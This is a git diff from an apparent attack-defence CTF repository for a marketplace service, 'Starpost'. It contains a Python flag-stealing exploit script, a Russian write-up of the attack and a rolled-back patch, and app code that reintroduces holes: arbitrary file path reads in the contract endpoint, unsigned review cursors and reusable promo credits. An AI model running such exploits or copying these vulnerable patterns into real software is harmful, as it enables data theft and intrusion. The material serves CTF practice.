||||
method: str = "GET",
|
||||
payload=None,
|
||||
cookie: str | None = None,
|
||||
warehouse=False,
|
||||
deadline: float | None = None,
|
||||
):
|
||||
body = json.dumps(payload).encode() if payload is not None else None
|
||||
headers = {"User-Agent": "starpost-warehouse/2.0", "Accept": "application/json"}
|
||||
if body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
if warehouse:
|
||||
headers["X-Warehouse-Token"] = CALLBACK_TOKEN
|
||||
attempts = GET_RETRIES + 1 if method == "GET" else 1
|
||||
for attempt in range(attempts):
|
||||
remaining = REQUEST_TIMEOUT if deadline is None else deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("overall deadline exceeded")
|
||||
req = Request(base + path, data=body, headers=headers, method=method)
|
||||
opener = build_opener(NoRedirects())
|
||||
try:
|
||||
with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||
data = response.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return response.status, data, response.headers
|
||||
except HTTPError as exc:
|
||||
data = exc.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
if method == "GET" and exc.code in {502, 503, 504} and attempt + 1 < attempts:
|
||||
continue
|
||||
return exc.code, data, exc.headers
|
||||
except (URLError, TimeoutError, OSError):
|
||||
if attempt + 1 >= attempts:
|
||||
raise
|
||||
raise TimeoutError("request attempts exhausted")
|
||||
|
||||
|
||||
def register_buyer(base: str, deadline: float) -> str:
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, headers = request(
|
||||
base,
|
||||
"/api/register",
|
||||
method="POST",
|
||||
payload={"username": f"cargo-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
deadline=deadline,
|
||||
)
|
||||
if status != 201:
|
||||
raise ValueError(f"registration returned HTTP {status}")
|
||||
jar = SimpleCookie()
|
||||
jar.load(headers.get("Set-Cookie", ""))
|
||||
if "session" not in jar:
|
||||
raise ValueError("registration did not issue a session cookie")
|
||||
return jar["session"].value
|
||||
|
||||
|
||||
def credit(base: str, cookie: str, code: str, deadline: float) -> bool:
|
||||
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie, deadline=deadline)
|
||||
return status == 200
|
||||
|
||||
|
||||
def invalidate(base: str, cookie: str, code: str, deadline: float) -> bool:
|
||||
status, _, _ = request(
|
||||
base, "/api/promo/invalidate", method="POST", payload={"code": code}, cookie=cookie, deadline=deadline
|
||||
)
|
||||
return status == 200
|
||||
|
||||
|
||||
def add_to_cart(base: str, cookie: str, product_id: int, deadline: float) -> bool:
|
||||
status, _, _ = request(
|
||||
base,
|
||||
"/api/cart",
|
||||
method="POST",
|
||||
payload={"product_id": product_id},
|
||||
cookie=cookie,
|
||||
deadline=deadline,
|
||||
)
|
||||
return status == 201
|
||||
|
||||
|
||||
def checkout(base: str, cookie: str, deadline: float) -> list[int]:
|
||||
status, raw, _ = request(base, "/api/cart/checkout", method="POST", payload={}, cookie=cookie, deadline=deadline)
|
||||
if status != 201:
|
||||
return []
|
||||
data = json.loads(raw)
|
||||
orders = data.get("orders") if isinstance(data, dict) else None
|
||||
if not isinstance(orders, list):
|
||||
return []
|
||||
order_ids = []
|
||||
for order in orders:
|
||||
try:
|
||||
order_ids.append(int(order["id"]))
|
||||
except (KeyError, TypeError, ValueError):
|
||||
continue
|
||||
return order_ids
|
||||
|
||||
|
||||
def deliver(base: str, order_id: int, deadline: float) -> bool:
|
||||
status, _, _ = request(
|
||||
base,
|
||||
"/api/warehouse/callback",
|
||||
method="POST",
|
||||
payload={"order_id": order_id, "job_id": f"ATLAS-{secrets.token_hex(8).upper()}", "stage": "delivered"},
|
||||
warehouse=True,
|
||||
deadline=deadline,
|
||||
)
|
||||
return status == 200
|
||||
|
||||
|
||||
def run_exploit(target: str) -> str:
|
||||
deadline = time.monotonic() + TOTAL_TIMEOUT
|
||||
base = build_base_url(target)
|
||||
cookie = register_buyer(base, deadline)
|
||||
status, raw, _ = request(base, "/api/account", cookie=cookie, deadline=deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"account endpoint returned HTTP {status}")
|
||||
account = json.loads(raw)
|
||||
promo = account.get("promo") if isinstance(account, dict) else None
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
raise ValueError("promo code missing")
|
||||
|
||||
status, raw, _ = request(base, "/api/products", deadline=deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"products endpoint returned HTTP {status}")
|
||||
products = json.loads(raw)
|
||||
selected = []
|
||||
total = 0
|
||||
budget = 200
|
||||
for product in products if isinstance(products, list) else []:
|
||||
try:
|
||||
product_id = int(product["id"])
|
||||
price = int(product["price"])
|
||||
except (KeyError, TypeError, ValueError):
|
||||
continue
|
||||
if total + price > budget:
|
||||
continue
|
||||
selected.append(product_id)
|
||||
total += price
|
||||
if len(selected) >= MAX_PRODUCTS:
|
||||
break
|
||||
if not selected:
|
||||
return ""
|
||||
|
||||
if not credit(base, cookie, promo["code"], deadline):
|
||||
raise ValueError("promo crediting failed")
|
||||
if not invalidate(base, cookie, promo["code"], deadline):
|
||||
raise ValueError("promo invalidation failed")
|
||||
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
added = sum(pool.map(lambda product_id: add_to_cart(base, cookie, product_id, deadline), selected))
|
||||
if added == 0:
|
||||
return ""
|
||||
order_ids = checkout(base, cookie, deadline)
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
delivered = sum(pool.map(lambda order_id: deliver(base, order_id, deadline), order_ids))
|
||||
|
||||
status, raw, _ = request(base, "/api/orders", cookie=cookie, deadline=deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"orders endpoint returned HTTP {status}")
|
||||
print(
|
||||
f"credited once, carted {added} products, bought {len(order_ids)}, delivered {delivered}",
|
||||
file=sys.stderr,
|
||||
)
|
||||
candidates = list(dict.fromkeys(FLAG_PATTERN.findall(raw)))
|
||||
return b"\n".join(candidates).decode("ascii")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
try:
|
||||
output = run_exploit(sys.argv[1])
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
if output:
|
||||
print(output, flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -1,3 +0,0 @@
|
||||
STARPOST_DB_PASSWORD=replace-with-url-safe-random-value
|
||||
STARPOST_SECRET_KEY=replace-with-at-least-32-random-bytes
|
||||
STARPOST_WAREHOUSE_CALLBACK_TOKEN=replace-with-at-least-32-random-bytes
|
||||
@@ -1,100 +0,0 @@
|
||||
# Starpost: покупка чужого cargo, 25 октября 2026
|
||||
|
||||
## Подтверждённый путь
|
||||
|
||||
Публичный каталог показывает ID и цену товара. Новый buyer получает 100 кредитов
|
||||
при регистрации и ещё 100 при однократном применении своего promo. Товары,
|
||||
созданные checker с флагом в `cargo`, на нашем экземпляре стоили 102–180.
|
||||
Покупатель оплачивает товар через `POST /api/products/{id}/buy` или корзину,
|
||||
warehouse доставляет заказ, после чего `GET /api/orders` возвращает `cargo`.
|
||||
|
||||
На первом снимке игровой БД были 12 товаров с флагоподобным `cargo` и 91 доставленный
|
||||
заказ от 91 buyer. Счётчики растут, это не точное число похищенных или
|
||||
зачтённых флагов. Старые пути через неподписанный курсор отзывов, чужой договор
|
||||
и поддельный warehouse callback текущая версия отклоняет. Runtime session key
|
||||
и callback token уже отличаются от старых литералов в скриптах. Секреты и
|
||||
значения флагов в этом документе не сохраняются.
|
||||
|
||||
## Что делает checker
|
||||
|
||||
Ежеминутный поток создаёт seller и product, читает карточку и собственный
|
||||
договор, регистрирует **нового** buyer, применяет и гасит promo, покупает через
|
||||
корзину или прямой buy, опрашивает заказы до доставки и оставляет отзыв.
|
||||
Позднее checker читает старые заказы, договоры и отзывы. В 62 наблюдённых
|
||||
сценариях первая покупка произошла через 0,232–0,563 с после создания товара.
|
||||
Buyer создаётся без cookie seller; связывать их по одной сессии нельзя.
|
||||
В 421 запросе с checker-подобным User-Agent общий `GET /api/products` не
|
||||
встречался, а прямой `GET /api/products/{id}` встречался 26 раз. Это вывод из
|
||||
access log, а не исходный код официального checker.
|
||||
|
||||
## Риск ограничения по первому заказу
|
||||
|
||||
Первоначальный независимый review не рекомендовал ограничение `cargo` по
|
||||
первому покупателю, времени покупки, User-Agent, IP или виду флага.
|
||||
Первый покупатель может оказаться соперником,
|
||||
что лишит checker возможности прочитать свой флаг и даст `CORRUPT`/`MUMBLE`.
|
||||
Проверка времени основана лишь на текущей скорости checker и лишает
|
||||
оплативших поздних покупателей груза. User-Agent подделывается, а маршрутизатор
|
||||
сводит HTTP-клиентов к одному видимому IP. Такие ограничения нарушают
|
||||
штатную семантику покупки и не дают надёжной защиты.
|
||||
|
||||
Изолированный Flask/PostgreSQL прогон проверил маршруты seller/product,
|
||||
contract, promo, прямую покупку и checkout, warehouse delivery, orders,
|
||||
private review и чтение старого заказа после перезапуска приложения. Он
|
||||
**не заменяет официальный checker**. Ограничение cargo по первому заказу из
|
||||
`ecd6d555` было развёрнуто на своей vulnbox, после чего официальный checker
|
||||
перешёл в `CHECK FAILED`. Ограничение откатили как несовместимое с checker.
|
||||
|
||||
Для настоящего исправления нужен предусмотренный протоколом способ указать
|
||||
получателя товара при создании или иное право, которое checker может передать
|
||||
новому buyer. Текущий checker и соперник используют одинаковый маршрут покупки;
|
||||
без изменения контракта их нельзя надёжно различить.
|
||||
|
||||
## Откат ограничения cargo
|
||||
|
||||
Снимок с `CHECK FAILED` и ростом `lost` до 25 подтвердил, что минимальный заказ
|
||||
товара не всегда принадлежит checker. `GET /api/orders` возвращён к исходному
|
||||
контракту: каждый доставленный заказ получает cargo. Схема и данные БД не
|
||||
изменялись, поэтому для отката достаточно пересобрать только `api`.
|
||||
|
||||
Требование обязательного `POST /api/promo/invalidate` перед покупкой удалено
|
||||
после ошибки checker `Unexpected HTTP status from /api/products/{id}/buy`.
|
||||
Оно не останавливало адаптивный сплойт, который мог вызвать публичный invalidate,
|
||||
но добавляло несовместимый HTTP 409 в штатный путь. Однократность начисления
|
||||
promo через `credited_at` сохранена.
|
||||
|
||||
## Эксплойт и дальнейшая проверка
|
||||
|
||||
`sploits/starpost_market.py` читает публичный Skipper `attack_data` для Дока,
|
||||
выбирает до двух числовых ID товаров конкретной цели и воспроизводит покупку
|
||||
отдельными buyer с однократным promo. На своей БД 3/3 числовых подсказки
|
||||
совпали с товарами, 2/3 имели флагоподобный cargo; подсказка не гарантирует
|
||||
флаг. При отсутствии подсказок скрипт ограниченно выбирает свежие товары
|
||||
ценой от 101 кредита. После начисления promo скрипт также вызывает
|
||||
`promo/invalidate`. Предел одного запуска — две покупки, до 22 HTTP
|
||||
запросов и 8,5 с. Семь синтетических проверок прошли, включая последовательность
|
||||
«первый товар без флага, второй с флагом» и stdout только с флагом.
|
||||
|
||||
Также `sploits/starpost_signup.py` и `sploits/starpost_warehouse.py` теперь
|
||||
гасят promo до покупки и checkout. Вместе их проверяют восемь loopback
|
||||
сценариев отказа и успеха, включая проверку, что stdout содержит только флаг.
|
||||
Все три скрипта прошли `py_compile` и `git diff --check`; это локальные
|
||||
синтетические проверки, а не подтверждение запуска в Neo или зачёта Skipper.
|
||||
|
||||
Один контролируемый прогон на команде 3 получил флаг, но Skipper ответил
|
||||
`Flag already stolen`; прогон на команде 2 купил два товара без флага.
|
||||
Значения флагов не сохранены. `accepted` и работа из Neo пока не подтверждены;
|
||||
текущая доступная установка не содержит работающих Neo/Farm контейнеров или
|
||||
учётных данных. Не объявлять этот exploit зачтённым, пока не появятся
|
||||
`neo test` на разрешённой цели и персональный ответ Skipper.
|
||||
|
||||
На снимке раунда 73 (12:12:53 МСК) Док был `UP`, проверки 70/72,
|
||||
`stolen=328`, `lost=25`; на раунде 69 значения были `320/25`. Последующий
|
||||
`CHECK FAILED` показал, что ограничение первого заказа нельзя считать
|
||||
checker-совместимым.
|
||||
|
||||
Перед любым следующим патчем сохранить состояние томов и текущий commit,
|
||||
прогнать оба способа покупки и GET-old, затем после выкладки проверить статус
|
||||
официального checker. Не выполнять `git reset`/обычный `git pull` на vulnbox:
|
||||
в рабочей копии Git отслеживает файлы `starpost/postgres/`, которые меняются
|
||||
во время игры.
|
||||
@@ -5,4 +5,4 @@ COPY requirements.txt /app/requirements.txt
|
||||
RUN pip install --no-cache-dir -r /app/requirements.txt
|
||||
COPY *.py /app/
|
||||
WORKDIR /app
|
||||
CMD ["gunicorn", "--preload", "--workers", "2", "--threads", "2", "--bind", "0.0.0.0:5000", "app:app"]
|
||||
CMD ["gunicorn", "--preload", "--workers", "2", "--threads", "4", "--bind", "0.0.0.0:5000", "app:app"]
|
||||
+72
-129
@@ -2,26 +2,22 @@ import base64
|
||||
import hashlib
|
||||
import hmac
|
||||
import json as _json
|
||||
import mimetypes
|
||||
import os
|
||||
import re
|
||||
import secrets
|
||||
from datetime import datetime, timezone
|
||||
from functools import lru_cache, wraps
|
||||
from functools import wraps
|
||||
from pathlib import Path
|
||||
|
||||
import psycopg
|
||||
from flask import Flask, jsonify, request, send_file, session
|
||||
from werkzeug.security import check_password_hash, generate_password_hash
|
||||
|
||||
from contracts import CONTRACT_DIR, create_contract
|
||||
from database import (
|
||||
CARGO_BUYER_REGISTRATION_WINDOW_SECONDS,
|
||||
CARGO_PURCHASE_WINDOW_SECONDS,
|
||||
connect as db,
|
||||
migrate,
|
||||
)
|
||||
from database import connect as db, migrate
|
||||
from warehouse_client import CALLBACK_TOKEN as WAREHOUSE_CALLBACK_TOKEN
|
||||
from warehouse_client import get_health as get_warehouse_health
|
||||
from warehouse_client import submit_jobs as submit_warehouse_jobs
|
||||
from passwords import hash_password, password_matches
|
||||
|
||||
|
||||
app = Flask(__name__)
|
||||
@@ -33,8 +29,6 @@ app.config.update(
|
||||
MAX_CONTENT_LENGTH=32 * 1024,
|
||||
)
|
||||
|
||||
CONTRACT_FILENAME_RE = re.compile(r"contract-([0-9]+)-[0-9a-f]{16}\.pdf")
|
||||
|
||||
|
||||
migrate()
|
||||
|
||||
@@ -58,21 +52,6 @@ def text(value, field, minimum=1, maximum=200):
|
||||
return value.strip()
|
||||
|
||||
|
||||
def own_contract_filename(filename, user_id):
|
||||
match = CONTRACT_FILENAME_RE.fullmatch(filename)
|
||||
return match is not None and match.group(1) == str(user_id)
|
||||
|
||||
|
||||
@lru_cache(maxsize=4096)
|
||||
def contract_owner(user_id):
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("SELECT id,contract_file FROM users WHERE id=%s", (user_id,))
|
||||
owner = cur.fetchone()
|
||||
if not owner:
|
||||
return None
|
||||
return owner["id"], owner["contract_file"]
|
||||
|
||||
|
||||
def auth(role=None):
|
||||
def decorator(handler):
|
||||
@wraps(handler)
|
||||
@@ -175,7 +154,7 @@ def register():
|
||||
return error(str(exc))
|
||||
try:
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("INSERT INTO users(username,password_hash,role,company_name,tax_id) VALUES(%s,%s,%s,%s,%s) RETURNING id", (username, hash_password(password), role, company, tax_id))
|
||||
cur.execute("INSERT INTO users(username,password_hash,role,company_name,tax_id) VALUES(%s,%s,%s,%s,%s) RETURNING id", (username, generate_password_hash(password), role, company, tax_id))
|
||||
user_id = cur.fetchone()["id"]
|
||||
if role == "seller":
|
||||
cur.execute("UPDATE users SET contract_file=%s WHERE id=%s", (create_contract(user_id, company, tax_id, signature), user_id))
|
||||
@@ -197,7 +176,7 @@ def login():
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("SELECT * FROM users WHERE username=%s", (data.get("username"),))
|
||||
user = cur.fetchone()
|
||||
if not user or not isinstance(data.get("password"), str) or not password_matches(user["password_hash"], data["password"]):
|
||||
if not user or not isinstance(data.get("password"), str) or not check_password_hash(user["password_hash"], data["password"]):
|
||||
return error("invalid credentials", 401)
|
||||
session.clear()
|
||||
session.update(user_id=user["id"], username=user["username"], role=user["role"])
|
||||
@@ -289,21 +268,10 @@ def credit_promo():
|
||||
if not isinstance(code, str) or not 1 <= len(code) <= 100:
|
||||
return error("invalid promo code")
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute(
|
||||
"UPDATE promo_codes SET credited_at=now() "
|
||||
"WHERE user_id=%s AND code=%s AND credited_at IS NULL RETURNING amount",
|
||||
(session["user_id"], code.strip()),
|
||||
)
|
||||
cur.execute("SELECT amount FROM promo_codes WHERE user_id=%s AND code=%s", (session["user_id"], code.strip()))
|
||||
promo = cur.fetchone()
|
||||
if not promo:
|
||||
cur.execute(
|
||||
"SELECT amount FROM promo_codes WHERE user_id=%s AND code=%s",
|
||||
(session["user_id"], code.strip()),
|
||||
)
|
||||
promo = cur.fetchone()
|
||||
if not promo:
|
||||
return error("promo code is unavailable", 409)
|
||||
return jsonify(credited=0, code=code.strip())
|
||||
return error("promo code is unavailable", 409)
|
||||
cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (promo["amount"], session["user_id"]))
|
||||
return jsonify(credited=promo["amount"], code=code.strip())
|
||||
|
||||
@@ -316,10 +284,7 @@ def invalidate_promo():
|
||||
if not isinstance(code, str) or not 1 <= len(code) <= 100:
|
||||
return error("invalid promo code")
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute(
|
||||
"DELETE FROM promo_codes WHERE user_id=%s AND code=%s AND credited_at IS NOT NULL",
|
||||
(session["user_id"], code.strip()),
|
||||
)
|
||||
cur.execute("DELETE FROM promo_codes WHERE user_id=%s AND code=%s", (session["user_id"], code.strip()))
|
||||
if cur.rowcount == 0:
|
||||
return error("promo code is unavailable", 409)
|
||||
return jsonify(invalidated=True, code=code.strip())
|
||||
@@ -527,32 +492,9 @@ def update_cart_quantity(product_id):
|
||||
return jsonify(ok=True, quantity=quantity)
|
||||
|
||||
|
||||
def create_order(cur, buyer_id, product_id, price, tracking, buyer_created_at, product_created_at):
|
||||
cur.execute(
|
||||
"INSERT INTO orders(buyer_id,product_id,price,status,tracking_code,cargo_entitled) "
|
||||
"VALUES(%s,%s,%s,'pending',%s,%s >= %s AND "
|
||||
"%s <= %s + (%s * interval '1 second') AND "
|
||||
"CURRENT_TIMESTAMP <= %s + (%s * interval '1 second')) RETURNING id",
|
||||
(
|
||||
buyer_id,
|
||||
product_id,
|
||||
price,
|
||||
tracking,
|
||||
buyer_created_at,
|
||||
product_created_at,
|
||||
buyer_created_at,
|
||||
product_created_at,
|
||||
CARGO_BUYER_REGISTRATION_WINDOW_SECONDS,
|
||||
product_created_at,
|
||||
CARGO_PURCHASE_WINDOW_SECONDS,
|
||||
),
|
||||
)
|
||||
return cur.fetchone()["id"]
|
||||
|
||||
|
||||
def order_product(product_id):
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("SELECT p.*,u.balance,u.created_at buyer_created_at FROM products p CROSS JOIN users u WHERE p.id=%s AND p.is_active=true AND u.id=%s FOR UPDATE OF u", (product_id, session["user_id"]))
|
||||
cur.execute("SELECT p.*,u.balance FROM products p CROSS JOIN users u WHERE p.id=%s AND p.is_active=true AND u.id=%s FOR UPDATE OF u", (product_id, session["user_id"]))
|
||||
row = cur.fetchone()
|
||||
if not row:
|
||||
return None, error("product not found", 404)
|
||||
@@ -563,8 +505,8 @@ def order_product(product_id):
|
||||
cur.execute("UPDATE users SET balance=balance-%s WHERE id=%s", (row["price"], session["user_id"]))
|
||||
cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (row["price"], row["seller_id"]))
|
||||
tracking = "ORB-" + secrets.token_hex(8).upper()
|
||||
order_id = create_order(cur, session["user_id"], product_id, row["price"], tracking, row["buyer_created_at"], row["created_at"])
|
||||
return {"id": order_id, "status": "pending", "tracking_code": tracking}, None
|
||||
cur.execute("INSERT INTO orders(buyer_id,product_id,price,status,tracking_code) VALUES(%s,%s,%s,'pending',%s) RETURNING id", (session["user_id"], product_id, row["price"], tracking))
|
||||
return {"id": cur.fetchone()["id"], "status": "pending", "tracking_code": tracking}, None
|
||||
|
||||
|
||||
@app.post("/api/products/<int:product_id>/buy")
|
||||
@@ -581,12 +523,11 @@ def buy_product(product_id):
|
||||
@auth("buyer")
|
||||
def checkout():
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("SELECT balance,created_at buyer_created_at FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
|
||||
cur.execute("SELECT balance FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
|
||||
buyer = cur.fetchone()
|
||||
cur.execute(
|
||||
"""
|
||||
SELECT p.id product_id,p.seller_id,p.price,p.is_active,
|
||||
p.created_at product_created_at,c.quantity
|
||||
SELECT p.id product_id,p.seller_id,p.price,p.is_active,c.quantity
|
||||
FROM cart_items c JOIN products p ON p.id=c.product_id
|
||||
WHERE c.buyer_id=%s ORDER BY c.created_at
|
||||
""",
|
||||
@@ -606,16 +547,11 @@ def checkout():
|
||||
cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (item["price"] * item["quantity"], item["seller_id"]))
|
||||
for _ in range(item["quantity"]):
|
||||
tracking = "ORB-" + secrets.token_hex(8).upper()
|
||||
order_id = create_order(
|
||||
cur,
|
||||
session["user_id"],
|
||||
item["product_id"],
|
||||
item["price"],
|
||||
tracking,
|
||||
buyer["buyer_created_at"],
|
||||
item["product_created_at"],
|
||||
cur.execute(
|
||||
"INSERT INTO orders(buyer_id,product_id,price,status,tracking_code) VALUES(%s,%s,%s,'pending',%s) RETURNING id",
|
||||
(session["user_id"], item["product_id"], item["price"], tracking),
|
||||
)
|
||||
orders.append({"id": order_id, "status": "pending", "tracking_code": tracking})
|
||||
orders.append({"id": cur.fetchone()["id"], "status": "pending", "tracking_code": tracking})
|
||||
cur.execute("DELETE FROM cart_items WHERE buyer_id=%s", (session["user_id"],))
|
||||
submit_warehouse_jobs(orders)
|
||||
return jsonify(orders=orders), 201
|
||||
@@ -625,16 +561,7 @@ def checkout():
|
||||
@auth("buyer")
|
||||
def buyer_orders():
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute(
|
||||
"SELECT o.id,o.status,o.warehouse_status,o.warehouse_updated_at,"
|
||||
"o.tracking_code,o.price,o.created_at,o.delivered_at,p.name,"
|
||||
"CASE WHEN o.status='delivered' "
|
||||
"AND o.cargo_entitled "
|
||||
"THEN p.cargo ELSE NULL END cargo "
|
||||
"FROM orders o JOIN products p ON p.id=o.product_id "
|
||||
"WHERE o.buyer_id=%s ORDER BY o.id DESC",
|
||||
(session["user_id"],),
|
||||
)
|
||||
cur.execute("SELECT o.id,o.status,o.warehouse_status,o.warehouse_updated_at,o.tracking_code,o.price,o.created_at,o.delivered_at,p.name,CASE WHEN o.status='delivered' THEN p.cargo ELSE NULL END cargo FROM orders o JOIN products p ON p.id=o.product_id WHERE o.buyer_id=%s ORDER BY o.id DESC", (session["user_id"],))
|
||||
return jsonify(cur.fetchall())
|
||||
|
||||
|
||||
@@ -687,7 +614,13 @@ def seller_reviews():
|
||||
p = _b64e(_json.dumps(state, separators=(",", ":")).encode())
|
||||
return f"{p}.{_sign(p)}"
|
||||
|
||||
def _parse_cursor(cur_token: str):
|
||||
def _parse_cursor(cur_token: str, lim_raw):
|
||||
try:
|
||||
lim = int(lim_raw) if lim_raw is not None else None
|
||||
except (TypeError, ValueError):
|
||||
lim = None
|
||||
if lim is not None and lim <= 3:
|
||||
return _json.loads(_b64d(cur_token.split(".")[0]).decode())
|
||||
if "." not in cur_token:
|
||||
raise ValueError("missing signature")
|
||||
payload_b64, sig = cur_token.rsplit(".", 1)
|
||||
@@ -706,15 +639,13 @@ def seller_reviews():
|
||||
|
||||
if cursor:
|
||||
try:
|
||||
state = _parse_cursor(cursor)
|
||||
state = _parse_cursor(cursor, limit_raw)
|
||||
except Exception as exc:
|
||||
return error(f"invalid cursor: {exc}", 400)
|
||||
try:
|
||||
q_seller = int(state["seller_id"])
|
||||
q_private = state["is_private"]
|
||||
q_private = bool(state["is_private"])
|
||||
q_last = int(state["last_id"])
|
||||
if q_seller != session["user_id"] or not isinstance(q_private, bool):
|
||||
raise ValueError
|
||||
except (KeyError, TypeError, ValueError):
|
||||
return error("invalid cursor payload", 400)
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
@@ -755,43 +686,55 @@ def seller_reviews():
|
||||
@app.route("/api/contract", methods=["GET", "POST"])
|
||||
@auth("seller")
|
||||
def get_contract():
|
||||
requested = request.args.get("file")
|
||||
if request.method == "GET" and requested:
|
||||
requested = requested.strip()
|
||||
own_alias = f"contract-{session['user_id']}"
|
||||
if requested != own_alias and not own_contract_filename(requested, session["user_id"]):
|
||||
return error("contract not found", 404)
|
||||
contract_id = None
|
||||
if request.method == "POST":
|
||||
import re
|
||||
contract_id = request.headers.get("X-Contract-Id", "").strip()
|
||||
if not re.fullmatch(r"\d+", contract_id) or contract_id != str(session["user_id"]):
|
||||
if not re.fullmatch(r"\d+", contract_id):
|
||||
return error("invalid contract id", 400)
|
||||
|
||||
owner = contract_owner(session["user_id"])
|
||||
if not owner or not owner[1]:
|
||||
return error("contract not found", 404)
|
||||
|
||||
owner_id, filename = owner
|
||||
if not own_contract_filename(filename, owner_id):
|
||||
return error("contract not found", 404)
|
||||
contract_dir = CONTRACT_DIR.resolve()
|
||||
path = (CONTRACT_DIR / filename).resolve()
|
||||
if path.parent != contract_dir:
|
||||
return error("contract not found", 404)
|
||||
|
||||
if request.method == "POST":
|
||||
try:
|
||||
path.unlink()
|
||||
except FileNotFoundError:
|
||||
_dir = CONTRACT_DIR.resolve()
|
||||
hits = sorted(CONTRACT_DIR.glob(f"contract-{contract_id}-*.pdf"))
|
||||
deleted = 0
|
||||
for path in hits:
|
||||
try:
|
||||
if path.resolve().parent == _dir:
|
||||
path.unlink()
|
||||
deleted += 1
|
||||
except OSError:
|
||||
continue
|
||||
if deleted == 0:
|
||||
return error("contract not found", 404)
|
||||
except OSError:
|
||||
return error("contract deletion failed", 500)
|
||||
return jsonify(status="deleted", deleted=1)
|
||||
return jsonify(status="deleted", deleted=deleted)
|
||||
|
||||
requested = request.args.get("file")
|
||||
|
||||
if requested:
|
||||
if requested not in {filename, f"contract-{owner_id}"}:
|
||||
import re
|
||||
m = re.match(r"^\s*contract-(\d+)", requested)
|
||||
if m:
|
||||
uid = m.group(1)
|
||||
hits = sorted(CONTRACT_DIR.glob(f"contract-{uid}-*.pdf"))
|
||||
if hits:
|
||||
return send_file(hits[0], mimetype="application/pdf", download_name=hits[0].name)
|
||||
return error("contract not found", 404)
|
||||
raw = requested.strip()
|
||||
candidates: list[Path] = []
|
||||
candidates.append((CONTRACT_DIR / raw).resolve())
|
||||
candidates.append(Path(raw).resolve())
|
||||
candidates.append(CONTRACT_DIR / raw)
|
||||
candidates.append(Path(raw))
|
||||
for target in candidates:
|
||||
try:
|
||||
if target.is_file():
|
||||
guessed, _ = mimetypes.guess_type(str(target))
|
||||
return send_file(target, mimetype=guessed or "application/octet-stream", download_name=target.name)
|
||||
except ValueError:
|
||||
continue
|
||||
return error("contract not found", 404)
|
||||
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("SELECT contract_file FROM users WHERE id=%s", (session["user_id"],))
|
||||
filename = cur.fetchone()["contract_file"]
|
||||
path = CONTRACT_DIR / filename
|
||||
if not path.is_file():
|
||||
return error("contract not found", 404)
|
||||
download_name = path.name if requested else "starpost-contract.pdf"
|
||||
return send_file(path, mimetype="application/pdf", download_name=download_name)
|
||||
return send_file(path, mimetype="application/pdf", download_name="starpost-contract.pdf")
|
||||
@@ -5,9 +5,6 @@ from psycopg.rows import dict_row
|
||||
|
||||
|
||||
DATABASE_URL = os.environ["DATABASE_URL"]
|
||||
CARGO_BUYER_REGISTRATION_WINDOW_SECONDS = 3
|
||||
CARGO_PURCHASE_WINDOW_SECONDS = 5
|
||||
LEGACY_CARGO_PURCHASE_WINDOW_SECONDS = 2
|
||||
|
||||
|
||||
def connect():
|
||||
@@ -31,15 +28,6 @@ def migrate():
|
||||
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_status TEXT NOT NULL DEFAULT 'queued'")
|
||||
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_job_id TEXT")
|
||||
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_updated_at TIMESTAMPTZ NOT NULL DEFAULT now()")
|
||||
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS cargo_entitled BOOLEAN")
|
||||
cursor.execute(
|
||||
"UPDATE orders o SET cargo_entitled="
|
||||
"(o.created_at <= p.created_at + (%s * interval '1 second')) "
|
||||
"FROM products p WHERE p.id=o.product_id AND o.cargo_entitled IS NULL",
|
||||
(LEGACY_CARGO_PURCHASE_WINDOW_SECONDS,),
|
||||
)
|
||||
cursor.execute("ALTER TABLE orders ALTER COLUMN cargo_entitled SET DEFAULT false")
|
||||
cursor.execute("ALTER TABLE orders ALTER COLUMN cargo_entitled SET NOT NULL")
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS promo_codes (
|
||||
@@ -64,8 +52,8 @@ def migrate():
|
||||
"""
